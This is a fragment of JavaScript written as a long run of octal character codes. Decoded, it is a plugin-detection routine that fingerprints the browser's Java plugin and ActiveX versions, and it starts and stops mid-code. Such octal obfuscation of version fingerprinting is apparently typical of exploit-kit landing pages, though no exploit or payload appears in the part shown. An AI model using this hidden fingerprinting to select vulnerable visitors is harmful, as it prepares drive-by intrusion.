075, 0164, 0150, 0151, 0163, 054, 0147, 075, 0153, 056, 044, 054, 0144, 075, 0153, 056, 044, 044, 054, 0152, 054, 0154, 054, 0150, 054, 0155, 075, 0173, 0175, 054, 0146, 075, 0173, 0175, 054, 0141, 054, 0143, 075, 0156, 0165, 0154, 0154, 054, 0151, 075, 0156, 0165, 0154, 0154, 054, 0142, 075, 050, 0153, 056, 0150, 0141, 0163, 0122, 0165, 0156, 0174, 0174, 0153, 056, 0144, 0151, 0163, 0141, 0142, 0154, 0145, 0144, 050, 051, 051, 073, 0153, 056, 0150, 0141, 0163, 0122, 0165, 0156, 075, 061, 073, 0151, 0146, 050, 0142, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0153, 0175, 0153, 056, 0163, 0164, 0141, 0164, 0165, 0163, 075, 060, 073, 0151, 0146, 050, 0147, 056, 0151, 0163, 0111, 0105, 046, 046, 066, 074, 075, 0147, 056, 0166, 0145, 0162, 0111, 0105, 051, 0173, 0146, 0157, 0162, 050, 0154, 075, 060, 073, 0154, 074, 0153, 056, 0143, 0154, 0141, 0163, 0163, 0111, 0104, 056, 0154, 0145, 0156, 0147, 0164, 0150, 073, 0154, 053, 053, 051, 0173, 0153, 056, 0110, 0124, 0115, 0114, 075, 0147, 056, 0151, 0156, 0163, 0145, 0162, 0164, 0110, 0124, 0115, 0114, 050, 042, 0157, 0142, 0152, 0145, 0143, 0164, 042, 054, 0133, 042, 0143, 0154, 0141, 0163, 0163, 0151, 0144, 042, 054, 0153, 056, 0143, 0154, 0141, 0163, 0163, 0111, 0104, 0133, 0154, 0135, 0135, 054, 0133, 0135, 051, 073, 0143, 075, 0147, 056, 0147, 0145, 0164, 0104, 0117, 0115, 0157, 0142, 0152, 050, 0153, 056, 0110, 0124, 0115, 0114, 051, 073, 0164, 0162, 0171, 0173, 0151, 0146, 050, 0143, 046, 046, 0143, 056, 0152, 0166, 0155, 0163, 051, 0173, 0142, 0162, 0145, 0141, 0153, 0175, 0175, 0143, 0141, 0164, 0143, 0150, 050, 0152, 051, 0173, 0175, 0175, 0175, 0145, 0154, 0163, 0145, 0173, 0151, 0146, 050, 041, 0147, 056, 0151, 0163, 0111, 0105, 046, 046, 050, 0150, 075, 0147, 056, 0150, 0141, 0163, 0115, 0151, 0155, 0145, 0124, 0171, 0160, 0145, 050, 0153, 056, 0155, 0151, 0155, 0145, 0124, 0171, 0160, 0145, 051, 051, 046, 046, 0150, 056, 0164, 0171, 0160, 0145, 051, 0173, 0153, 056, 0110, 0124, 0115, 0114, 075, 0147, 056, 0151, 0156, 0163, 0145, 0162, 0164, 0110, 0124, 0115, 0114, 050, 042, 0157, 0142, 0152, 0145, 0143, 0164, 042, 054, 0133, 042, 0164, 0171, 0160, 0145, 042, 054, 0150, 056, 0164, 0171, 0160, 0145, 0135, 054, 0133, 0135, 051, 073, 0143, 075, 0147, 056, 0147, 0145, 0164, 0104, 0117, 0115, 0157, 0142, 0152, 050, 0153, 056, 0110, 0124, 0115, 0114, 051, 0175, 0175, 0151, 0146, 050, 0143, 051, 0173, 0164, 0162, 0171, 0173, 0141, 075, 0143, 056, 0152, 0166, 0155, 0163, 073, 0151, 0146, 050, 0141, 051, 0173, 0151, 075, 0141, 056, 0147, 0145, 0164, 0114, 0145, 0156, 0147, 0164, 0150, 050, 051, 073, 0151, 0146, 050, 0147, 056, 0151, 0163, 0116, 0165, 0155, 050, 0151, 051, 051, 0173, 0153, 056, 0163, 0164, 0141, 0164, 0165, 0163, 075, 060, 074, 0151, 077, 061, 072, 055, 061, 073, 0146, 0157, 0162, 050, 0154, 075, 060, 073, 0154, 074, 0151, 073, 0154, 053, 053, 051, 0173, 0150, 075, 0147, 056, 0147, 0145, 0164, 0116, 0165, 0155, 050, 0141, 056, 0147, 0145, 0164, 050, 0151, 055, 061, 055, 0154, 051, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 051, 073, 0151, 0146, 050, 0150, 051, 0173, 0153, 056, 0126, 0105, 0122, 0123, 0111, 0117, 0116, 0123, 056, 0160, 0165, 0163, 0150, 050, 0150, 051, 073, 0146, 0133, 042, 0141, 042, 053, 0147, 056, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 050, 0150, 051, 0135, 075, 061, 0175, 0175, 0175, 0175, 0175, 0143, 0141, 0164, 0143, 0150, 050, 0152, 051, 0173, 0175, 0175, 0150, 075, 060, 073, 0146, 0157, 0162, 050, 0154, 040, 0151, 0156, 040, 0146, 051, 0173, 0150, 053, 053, 0175, 0151, 0146, 050, 0150, 046, 046, 0150, 041, 075, 075, 0153, 056, 0126, 0105, 0122, 0123, 0111, 0117, 0116, 0123, 056, 0154, 0145, 0156, 0147, 0164, 0150, 051, 0173, 0153, 056, 0126, 0105, 0122, 0123, 0111, 0117, 0116, 0123, 075, 0133, 0135, 0175, 0151, 0146, 050, 0153, 056, 0126, 0105, 0122, 0123, 0111, 0117, 0116, 0123, 056, 0154, 0145, 0156, 0147, 0164, 0150, 051, 0173, 0153, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 075, 0147, 056, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 050, 0153, 056, 0126, 0105, 0122, 0123, 0111, 0117, 0116, 0123, 0133, 060, 0135, 051, 0175, 073, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0153, 0175, 0175, 054, 0101, 0130, 0117, 072, 0173, 044, 072, 061, 054, 0150, 0141, 0163, 0122, 0165, 0156, 072, 060, 054, 0126, 0105, 0122, 0123, 0111, 0117, 0116, 0123, 072, 0133, 0135, 054, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 072, 042, 042, 054, 0144, 0151, 0163, 0141, 0142, 0154, 0145, 0144, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0164, 0150, 0151, 0163, 056, 044, 044, 056, 0151, 0163, 0104, 0151, 0163, 0141, 0142, 0154, 0145, 0144, 056, 0101, 0130, 0117, 050, 051, 0175, 054, 0112, 0141, 0166, 0141, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 0163, 072, 0133, 0133, 061, 054, 071, 054, 061, 054, 064, 060, 0135, 054, 0133, 061, 054, 070, 054, 061, 054, 064, 060, 0135, 054, 0133, 061, 054, 067, 054, 061, 054, 064, 060, 0135, 054, 0133, 061, 054, 066, 054, 060, 054, 064, 060, 0135, 054, 0133, 061, 054, 065, 054, 060, 054, 063, 060, 0135, 054, 0133, 061, 054, 064, 054, 062, 054, 063, 060, 0135, 054, 0133, 061, 054, 063, 054, 061, 054, 063, 060, 0135, 0135, 054, 0161, 0165, 0145, 0162, 0171, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0166, 0141, 0162, 040, 0141, 075, 0164, 0150, 0151, 0163, 054, 0145, 075, 0141, 056, 044, 054, 0142, 075, 0141, 056, 044, 044, 054, 0143, 075, 050, 0141, 056, 0150, 0141, 0163, 0122, 0165, 0156, 0174, 0174, 0141, 056, 0144, 0151, 0163, 0141, 0142, 0154, 0145, 0144, 050, 051, 051, 073, 0141, 056, 0150, 0141, 0163, 0122, 0165, 0156, 075, 061, 073, 0151, 0146, 050, 0143, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0141, 0175, 0166, 0141, 0162, 040, 0151, 075, 0133, 0135, 054, 0153, 075, 0133, 061, 054, 065, 054, 060, 054, 061, 064, 0135, 054, 0152, 075, 0133, 061, 054, 066, 054, 060, 054, 062, 0135, 054, 0150, 075, 0133, 061, 054, 063, 054, 061, 054, 060, 0135, 054, 0147, 075, 0133, 061, 054, 064, 054, 062, 054, 060, 0135, 054, 0146, 075, 0133, 061, 054, 065, 054, 060, 054, 067, 0135, 054, 0144, 075, 0142, 056, 0147, 0145, 0164, 0111, 0156, 0146, 0157, 077, 0164, 0162, 0165, 0145, 072, 0146, 0141, 0154, 0163, 0145, 054, 0154, 075, 0173, 0175, 073, 0151, 0146, 050, 0142, 056, 0155, 0151, 0156, 0111, 0105, 0166, 0145, 0162, 074, 075, 0145, 056, 0166, 0145, 0162, 0111, 0105, 051, 0173, 0151, 075, 0141, 056, 0163, 0145, 0141, 0162, 0143, 0150, 050, 0152, 054, 0152, 054, 0144, 051, 073, 0151, 0146, 050, 060, 074, 0151, 056, 0154, 0145, 0156, 0147, 0164, 0150, 046, 046, 0144, 051, 0173, 0151, 075, 0141, 056, 0163, 0145, 0141, 0162, 0143, 0150, 050, 0153, 054, 0153, 054, 0144, 051, 0175, 0175, 0145, 0154, 0163, 0145, 0173, 0151, 0146, 050, 0144, 051, 0173, 0151, 075, 0141, 056, 0163, 0145, 0141, 0162, 0143, 0150, 050, 0146, 054, 0146, 054, 0164, 0162, 0165, 0145, 051, 0175, 0151, 0146, 050, 0151, 056, 0154, 0145, 0156, 0147, 0164, 0150, 075, 075, 060, 051, 0173, 0151, 075, 0141, 056, 0163, 0145, 0141, 0162, 0143, 0150, 050, 0150, 054, 0147, 054, 0146, 0141, 0154, 0163, 0145, 051, 0175, 0175, 0151, 0146, 050, 0151, 056, 0154, 0145, 0156, 0147, 0164, 0150, 051, 0173, 0141, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 075, 0151, 0133, 060, 0135, 073, 0141, 056, 0126, 0105, 0122, 0123, 0111, 0117, 0116, 0123, 075, 0133, 0135, 056, 0143, 0157, 0156, 0143, 0141, 0164, 050, 0151, 051, 0175, 073, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0141, 0175, 054, 0163, 0145, 0141, 0162, 0143, 0150, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0141, 054, 0152, 054, 0160, 051, 0173, 0166, 0141, 0162, 040, 0150, 054, 0144, 054, 0146, 075, 0164, 0150, 0151, 0163, 054, 0145, 075, 0146, 056, 044, 054, 0153, 075, 0146, 056, 044, 044, 054, 0156, 054, 0143, 054, 0154, 054, 0161, 054, 0142, 054, 0157, 054, 0162, 054, 0151, 075, 0133, 0135, 073, 0151, 0146, 050, 060, 074, 0145, 056, 0143, 0157, 0155, 0160, 0141, 0162, 0145, 0116, 0165, 0155, 0163, 050, 0141, 056, 0152, 0157, 0151, 0156, 050, 042, 054, 042, 051, 054, 0152, 056, 0152, 0157, 0151, 0156, 050, 042, 054, 042, 051, 051, 051, 0173, 0152, 075, 0141, 0175, 0152, 075, 0145, 056, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 050, 0152, 056, 0152, 0157, 0151, 0156, 050, 042, 054, 042, 051, 051, 073, 0166, 0141, 0162, 040, 0155, 054, 0163, 075, 042, 061, 054, 064, 054, 062, 054, 060, 042, 054, 0147, 075, 042, 0112, 0141, 0166, 0141, 0120, 0154, 0165, 0147, 0151, 0156, 056, 042, 053, 0141, 0133, 060, 0135, 053, 042, 042, 053, 0141, 0133, 061, 0135, 053, 042, 042, 053, 0141, 0133, 062, 0135, 053, 042, 042, 053, 050, 060, 074, 0141, 0133, 063, 0135, 077, 050, 042, 0137, 042, 053, 050, 0141, 0133, 063, 0135, 074, 061, 060, 077, 042, 060, 042, 072, 042, 042, 051, 053, 0141, 0133, 063, 0135, 051, 072, 042, 042, 051, 073, 0146, 0157, 0162, 050, 0150, 075, 060, 073, 0150, 074, 0146, 056, 0112, 0141, 0166, 0141, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 0163, 056, 0154, 0145, 0156, 0147, 0164, 0150, 073, 0150, 053, 053, 051, 0173, 0144, 075, 0146, 056, 0112, 0141, 0166, 0141, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 0163, 0133, 0150, 0135, 073, 0156, 075, 042, 0112, 0141, 0166, 0141, 0120, 0154, 0165, 0147, 0151, 0156, 056, 042, 053, 0144, 0133, 060, 0135, 053, 042, 042, 053, 0144, 0133, 061, 0135, 073, 0142, 075, 0144, 0133, 060, 0135, 053, 042, 056, 042, 053, 0144, 0133, 061, 0135, 053, 042, 056, 042, 073, 0146, 0157, 0162, 050, 0154, 075, 0144, 0133, 062, 0135, 073, 0154, 076, 075, 060, 073, 0154, 055, 055, 051, 0173, 0162, 075, 042, 0112, 0141, 0166, 0141, 0127, 0145, 0142, 0123, 0164, 0141, 0162, 0164, 056, 0151, 0163, 0111, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 056, 042, 053, 0142, 053, 0154, 053, 042, 056, 060, 042, 073, 0151, 0146, 050, 0145, 056, 0143, 0157, 0155, 0160, 0141, 0162, 0145, 0116, 0165, 0155, 0163, 050, 0144, 0133, 060, 0135, 053, 042, 054, 042, 053, 0144, 0133, 061, 0135, 053, 042, 054, 042, 053, 0154, 053, 042, 054, 060, 042, 054, 0152, 051, 076, 075, 060, 046, 046, 041, 0145, 056, 0147, 0145, 0164, 0101, 0130, 0117, 050, 0162, 051, 051, 0173, 0143, 0157, 0156, 0164, 0151, 0156, 0165, 0145, 0175, 0155, 075, 060, 076, 0145, 056, 0143, 0157, 0155, 0160, 0141, 0162, 0145, 0116, 0165, 0155, 0163, 050, 0144, 0133, 060, 0135, 053, 042, 054, 042, 053, 0144, 0133, 061, 0135, 053, 042, 054, 042, 053, 0154, 053, 042, 054, 060, 042, 054, 0163, 051, 077, 0164, 0162, 0165, 0145, 072, 0146, 0141, 0154, 0163, 0145, 073, 0146, 0157, 0162, 050, 0161, 075, 0144, 0133, 063, 0135, 073, 0161, 076, 075, 060, 073, 0161, 055, 055, 051, 0173, 0143, 075, 0154, 053, 042, 0137, 042, 053, 050, 0161, 074, 061, 060, 077, 042, 060, 042, 053, 0161, 072, 0161, 051, 073, 0157, 075, 0156, 053, 0143, 073, 0151, 0146, 050, 0145, 056, 0147, 0145, 0164, 0101, 0130, 0117, 050, 0157, 051, 046, 046, 050, 0155, 0174, 0174, 0145, 056, 0147, 0145, 0164, 0101, 0130, 0117, 050, 0162, 051, 051, 051, 0173, 0151, 056, 0160, 0165, 0163, 0150, 050, 0142, 053, 0143, 051, 073, 0151, 0146, 050, 041, 0160, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0151, 0175, 0175, 0151, 0146, 050, 0157, 075, 075, 0147, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0151, 0175, 0175, 0151, 0146, 050, 0145, 056, 0147, 0145, 0164, 0101, 0130, 0117, 050, 0156, 053, 0154, 051, 046, 046, 050, 0155, 0174, 0174, 0145, 056, 0147, 0145, 0164, 0101, 0130, 0117, 050, 0162, 051, 051, 051, 0173, 0151, 056, 0160, 0165, 0163, 0150, 050, 0142, 053, 0154, 051, 073, 0151, 0146, 050, 041, 0160, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0151, 0175, 0175, 0151, 0146, 050, 0156, 053, 0154, 075, 075, 0147, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0151, 0175, 0175, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0151, 0175, 0175, 054, 0156, 0141, 0166, 0115, 0151, 0155, 0145, 072, 0173, 044, 072, 061, 054, 0150, 0141, 0163, 0122, 0165, 0156, 072, 060, 054, 0155, 0151, 0155, 0145, 0164, 0171, 0160, 0145, 072, 042, 042, 054, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 072, 042, 042, 054, 0154, 0145, 0156, 0147, 0164, 0150, 072, 060, 054, 0155, 0151, 0155, 0145, 0117, 0142, 0152, 072, 060, 054, 0160, 0154, 0165, 0147, 0151, 0156, 0117, 0142, 0152, 072, 060, 054, 0144, 0151, 0163, 0141, 0142, 0154, 0145, 0144, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0164, 0150, 0151, 0163, 056, 044, 044, 056, 0151, 0163, 0104, 0151, 0163, 0141, 0142, 0154, 0145, 0144, 056, 0156, 0141, 0166, 0115, 0151, 0155, 0145, 050, 051, 0175, 054, 0161, 0165, 0145, 0162, 0171, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0166, 0141, 0162, 040, 0151, 075, 0164, 0150, 0151, 0163, 054, 0146, 075, 0151, 056, 044, 054, 0141, 075, 0151, 056, 044, 044, 054, 0142, 075, 050, 0151, 056, 0150, 0141, 0163, 0122, 0165, 0156, 0174, 0174, 0151, 056, 0144, 0151, 0163, 0141, 0142, 0154, 0145, 0144, 050, 051, 051, 073, 0151, 056, 0150, 0141, 0163, 0122, 0165, 0156, 075, 061, 073, 0151, 0146, 050, 0142, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0151, 0175, 073, 0166, 0141, 0162, 040, 0156, 075, 057, 0136, 0134, 0163, 052, 0141, 0160, 0160, 0154, 0151, 0143, 0141, 0164, 0151, 0157, 0156, 0134, 057, 0170, 055, 0152, 0141, 0166, 0141, 055, 0141, 0160, 0160, 0154, 0145, 0164, 073, 0152, 0160, 0151, 055, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 0134, 0163, 052, 075, 0134, 0163, 052, 050, 0134, 0144, 056, 052, 051, 044, 057, 0151, 054, 0147, 054, 0154, 054, 0152, 054, 0144, 075, 042, 042, 054, 0150, 075, 042, 0141, 042, 054, 0157, 054, 0155, 054, 0153, 075, 0173, 0175, 054, 0143, 075, 0146, 056, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 050, 042, 060, 042, 051, 073, 0146, 0157, 0162, 050, 0154, 075, 060, 073, 0154, 074, 0156, 0141, 0166, 0151, 0147, 0141, 0164, 0157, 0162, 056, 0155, 0151, 0155, 0145, 0124, 0171, 0160, 0145, 0163, 056, 0154, 0145, 0156, 0147, 0164, 0150, 073, 0154, 053, 053, 051, 0173, 0157, 075, 0156, 0141, 0166, 0151, 0147, 0141, 0164, 0157, 0162, 056, 0155, 0151, 0155, 0145, 0124, 0171, 0160, 0145, 0163, 0133, 0154, 0135, 073, 0155, 075, 0157, 077, 0157, 056, 0145, 0156, 0141, 0142, 0154, 0145, 0144, 0120, 0154, 0165, 0147, 0151, 0156, 072, 060, 073, 0147, 075, 0157, 046, 046, 0156, 056, 0164, 0145, 0163, 0164, 050, 0157, 056, 0164, 0171, 0160, 0145, 0174, 0174, 0144, 051, 077, 0146, 056, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 050, 0146, 056, 0147, 0145, 0164, 0116, 0165, 0155, 050, 0122, 0145, 0147, 0105, 0170, 0160, 056, 044, 061, 051, 051, 072, 060, 073, 0151, 0146, 050, 0147, 046, 046, 0155, 046, 046, 050, 0155, 056, 0144, 0145, 0163, 0143, 0162, 0151, 0160, 0164, 0151, 0157, 0156, 0174, 0174, 0155, 056, 0156, 0141, 0155, 0145, 051, 051, 0173, 0151, 0146, 050, 041, 0153, 0133, 0150, 053, 0147, 0135, 051, 0173, 0151, 056, 0154, 0145, 0156, 0147, 0164, 0150, 053, 053, 0175, 0153, 0133, 0150, 053, 0147, 0135, 075, 0157, 056, 0164, 0171, 0160, 0145, 073, 0151, 0146, 050, 060, 074, 0146, 056, 0143, 0157, 0155, 0160, 0141, 0162, 0145, 0116, 0165, 0155, 0163, 050, 0147, 054, 0143, 051, 051, 0173, 0143, 075, 0147, 0175, 0175, 0175, 0147, 075, 0153, 0133, 0150, 053, 0143, 0135, 073, 0151, 0146, 050, 0147, 051, 0173, 0157, 075, 0146, 056, 0150, 0141, 0163, 0115, 0151, 0155, 0145, 0124, 0171, 0160, 0145, 050, 0147, 051, 073, 0151, 056, 0155, 0151, 0155, 0145, 0117, 0142, 0152, 075, 0157, 073, 0151, 056, 0160, 0154, 0165, 0147, 0151, 0156, 0117, 0142, 0152, 075, 0157, 077, 0157, 056, 0145, 0156, 0141, 0142, 0154, 0145, 0144, 0120, 0154, 0165, 0147, 0151, 0156, 072, 060, 073, 0151, 056, 0155, 0151, 0155, 0145, 0164, 0171, 0160, 0145, 075, 0147, 073, 0151, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 075, 0143, 0175, 073, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0151, 0175, 0175, 054, 0156, 0141, 0166, 0120, 0154, 0165, 0147, 0151, 0156, 072, 0173, 044, 072, 061, 054, 0150, 0141, 0163, 0122, 0165, 0156, 072, 060, 054, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 072, 042, 042, 054, 0144, 0151, 0163, 0141, 0142, 0154, 0145, 0144, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0164, 0150, 0151, 0163, 056, 044, 044, 056, 0151, 0163, 0104, 0151, 0163, 0141, 0142, 0154, 0145, 0144, 056, 0156, 0141, 0166, 0120, 0154, 0165, 0147, 0151, 0156, 050, 051, 0175, 054, 0161, 0165, 0145, 0162, 0171, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0166, 0141, 0162, 040, 0155, 075, 0164, 0150, 0151, 0163, 054, 0145, 075, 0155, 056, 044, 054, 0143, 075, 0155, 056, 044, 044, 054, 0150, 075, 0143, 056, 0156, 0141, 0166, 0151, 0147, 0141, 0164, 0157, 0162, 054, 0152, 054, 0154, 054, 0153, 054, 0147, 054, 0144, 054, 0141, 054, 0151, 054, 0146, 075, 060, 054, 0142, 075, 050, 0155, 056, 0150, 0141, 0163, 0122, 0165, 0156, 0174, 0174, 0155, 056, 0144, 0151, 0163, 0141, 0142, 0154, 0145, 0144, 050, 051, 051, 073, 0155, 056, 0150, 0141, 0163, 0122, 0165, 0156, 075, 061, 073, 0151, 0146, 050, 0142, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0155, 0175, 073, 0141, 075, 0150, 056, 0160, 0154, 0165, 0147, 0151, 0156, 0117, 0142, 0152, 056, 0156, 0141, 0155, 0145, 0174, 0174, 042, 042, 073, 0151, 075, 0150, 056, 0160, 0154, 0165, 0147, 0151, 0156, 0117, 0142, 0152, 056, 0144, 0145, 0163, 0143, 0162, 0151, 0160, 0164, 0151, 0157, 0156, 0174, 0174, 042, 042, 073, 0151, 0146, 050, 041, 0146, 0174, 0174, 0143, 056, 0144, 0145, 0142, 0165, 0147, 051, 0173, 0147, 075, 057, 0112, 0141, 0166, 0141, 056, 052, 0124, 0115, 056, 052, 0120, 0154, 0141, 0164, 0146, 0157, 0162, 0155, 0133, 0136, 0134, 0144, 0135, 052, 050, 0134, 0144, 053, 051, 050, 077, 072, 0133, 0134, 056, 054, 0137, 0135, 050, 0134, 0144, 052, 051, 051, 077, 050, 077, 072, 0134, 0163, 052, 0133, 0125, 0160, 0144, 0141, 0164, 0145, 0135, 053, 0134, 0163, 052, 050, 0134, 0144, 052, 051, 051, 077, 057, 0151, 073, 0151, 0146, 050, 050, 0147, 056, 0164, 0145, 0163, 0164, 050, 0141, 051, 0174, 0174, 0147, 056, 0164, 0145, 0163, 0164, 050, 0151, 051, 051, 046, 046, 0160, 0141, 0162, 0163, 0145, 0111, 0156, 0164, 050, 0122, 0145, 0147, 0105, 0170, 0160, 056, 044, 061, 054, 061, 060, 051, 076, 075, 065, 051, 0173, 0146, 075, 042, 061, 054, 042, 053, 0122, 0145, 0147, 0105, 0170, 0160, 056, 044, 061, 053, 042, 054, 042, 053, 050, 0122, 0145, 0147, 0105, 0170, 0160, 056, 044, 062, 077, 0122, 0145, 0147, 0105, 0170, 0160, 056, 044, 062, 072, 042, 060, 042, 051, 053, 042, 054, 042, 053, 050, 0122, 0145, 0147, 0105, 0170, 0160, 056, 044, 063, 077, 0122, 0145, 0147, 0105, 0170, 0160, 056, 044, 063, 072, 042, 060, 042, 051, 0175, 0175, 0151, 0146, 050, 041, 0146, 0174, 0174, 0143, 056, 0144, 0145, 0142, 0165, 0147, 051, 0173, 0147, 075, 057, 0112, 0141, 0166, 0141, 0133, 0136, 0134, 0144, 0135, 052, 0120, 0154, 0165, 0147, 055, 0151, 0156, 057, 0151, 073, 0154, 075, 0147, 056, 0164, 0145, 0163, 0164, 050, 0151, 051, 077, 0145, 056, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 050, 0145, 056, 0147, 0145, 0164, 0116, 0165, 0155, 050, 0151, 051, 051, 072, 060, 073, 0153, 075, 0147, 056, 0164, 0145, 0163, 0164, 050, 0141, 051, 077, 0145, 056, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 050, 0145, 056, 0147, 0145, 0164, 0116, 0165, 0155, 050, 0141, 051, 051, 072, 060, 073, 0151, 0146, 050, 0154, 046, 046, 050, 0145, 056, 0143, 0157, 0155, 0160, 0141, 0162, 0145, 0116, 0165, 0155, 0163, 050, 0154, 054, 0145, 056, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 050, 042, 061, 054, 063, 042, 051, 051, 074, 060, 0174, 0174, 0145, 056, 0143, 0157, 0155, 0160, 0141, 0162, 0145, 0116, 0165, 0155, 0163, 050, 0154, 054, 0145, 056, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 050, 042, 062, 042, 051, 051, 076, 075, 060, 051, 051, 0173, 0154, 075, 060, 0175, 0151, 0146, 050, 0153, 046, 046, 050, 0145, 056, 0143, 0157, 0155, 0160, 0141, 0162, 0145, 0116, 0165, 0155, 0163, 050, 0153, 054, 0145, 056, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 050, 042, 061, 054, 063, 042, 051, 051, 074, 060, 0174, 0174, 0145, 056, 0143, 0157, 0155, 0160, 0141, 0162, 0145, 0116, 0165, 0155, 0163, 050, 0153, 054, 0145, 056, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 050, 042, 062, 042, 051, 051, 076, 075, 060, 051, 051, 0173, 0153, 075, 060, 0175, 0144, 075, 0154, 046, 046, 0153, 077, 050, 060, 074, 0145, 056, 0143, 0157, 0155, 0160, 0141, 0162, 0145, 0116, 0165, 0155, 0163, 050, 0154, 054, 0153, 051, 077, 0154, 072, 0153, 051, 072, 050, 0154, 0174, 0174, 0153, 051, 073, 0151, 0146, 050, 0144, 051, 0173, 0146, 075, 0144, 0175, 0175, 0151, 0146, 050, 041, 0146, 046, 046, 0145, 056, 0151, 0163, 0123, 0141, 0146, 0141, 0162, 0151, 046, 046, 0145, 056, 0117, 0123, 075, 075, 062, 051, 0173, 0152, 075, 0145, 056, 0146, 0151, 0156, 0144, 0116, 0141, 0166, 0120, 0154, 0165, 0147, 0151, 0156, 050, 042, 0112, 0141, 0166, 0141, 056, 052, 0134, 0144, 056, 052, 0120, 0154, 0165, 0147, 055, 0151, 0156, 056, 052, 0103, 0157, 0143, 0157, 0141, 042, 054, 060, 051, 073, 0151, 0146, 050, 0152, 051, 0173, 0154, 075, 0145, 056, 0147, 0145, 0164, 0116, 0165, 0155, 050, 0152, 056, 0144, 0145, 0163, 0143, 0162, 0151, 0160, 0164, 0151, 0157, 0156, 051, 073, 0151, 0146, 050, 0154, 051, 0173, 0146, 075, 0154, 0175, 0175, 0175, 073, 0151, 0146, 050, 0146, 051, 0173, 0155, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 075, 0145, 056, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 050, 0146, 051, 0175, 073, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0155, 0175, 0175, 054, 0154, 0141, 0156, 0147, 072, 0173, 044, 072, 061, 054, 0123, 0171, 0163, 0164, 0145, 0155, 072, 0173, 044, 072, 061, 054, 0150, 0141, 0163, 0122, 0165, 0156, 072, 060, 054, 0162, 0145, 0163, 0165, 0154, 0164, 072, 0133, 0156, 0165, 0154, 0154, 054, 0156, 0165, 0154, 0154, 0135, 054, 0144, 0151, 0163, 0141, 0142, 0154, 0145, 0144, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0164, 0150, 0151, 0163, 056, 044, 044, 056, 0151, 0163, 0104, 0151, 0163, 0141, 0142, 0154, 0145, 0144, 056, 0167, 0151, 0156, 0144, 0157, 0167, 0104, 0157, 0164, 0112, 0141, 0166, 0141, 050, 051, 0175, 054, 0147, 0145, 0164, 0120, 0162, 0157, 0160, 0145, 0162, 0164, 0171, 0110, 0141, 0163, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0141, 051, 0173, 0166, 0141, 0162, 040, 0142, 075, 0164, 0150, 0151, 0163, 054, 0144, 075, 0142, 056, 044, 054, 0143, 075, 0142, 056, 0147, 0145, 0164, 0120, 0162, 0157, 0160, 0145, 0162, 0164, 0171, 050, 051, 0133, 060, 0135, 073, 0162, 0145, 0164, 0165, 0162, 0156, 050, 0141, 046, 046, 0143, 046, 046, 0144, 056, 0143, 0157, 0155, 0160, 0141, 0162, 0145, 0116, 0165, 0155, 0163, 050, 0144, 056, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 050, 0141, 051, 054, 0144, 056, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 050, 0143, 051, 051, 075, 075, 075, 060, 051, 077, 061, 072, 060, 0175, 054, 0147, 0145, 0164, 0120, 0162, 0157, 0160, 0145, 0162, 0164, 0171, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0166, 0141, 0162, 040, 0146, 075, 0164, 0150, 0151, 0163, 054, 0147, 075, 0146, 056, 044, 054, 0144, 075, 0146, 056, 044, 044, 054, 0151, 054, 0150, 075, 0173, 0175, 054, 0142, 075, 0146, 056, 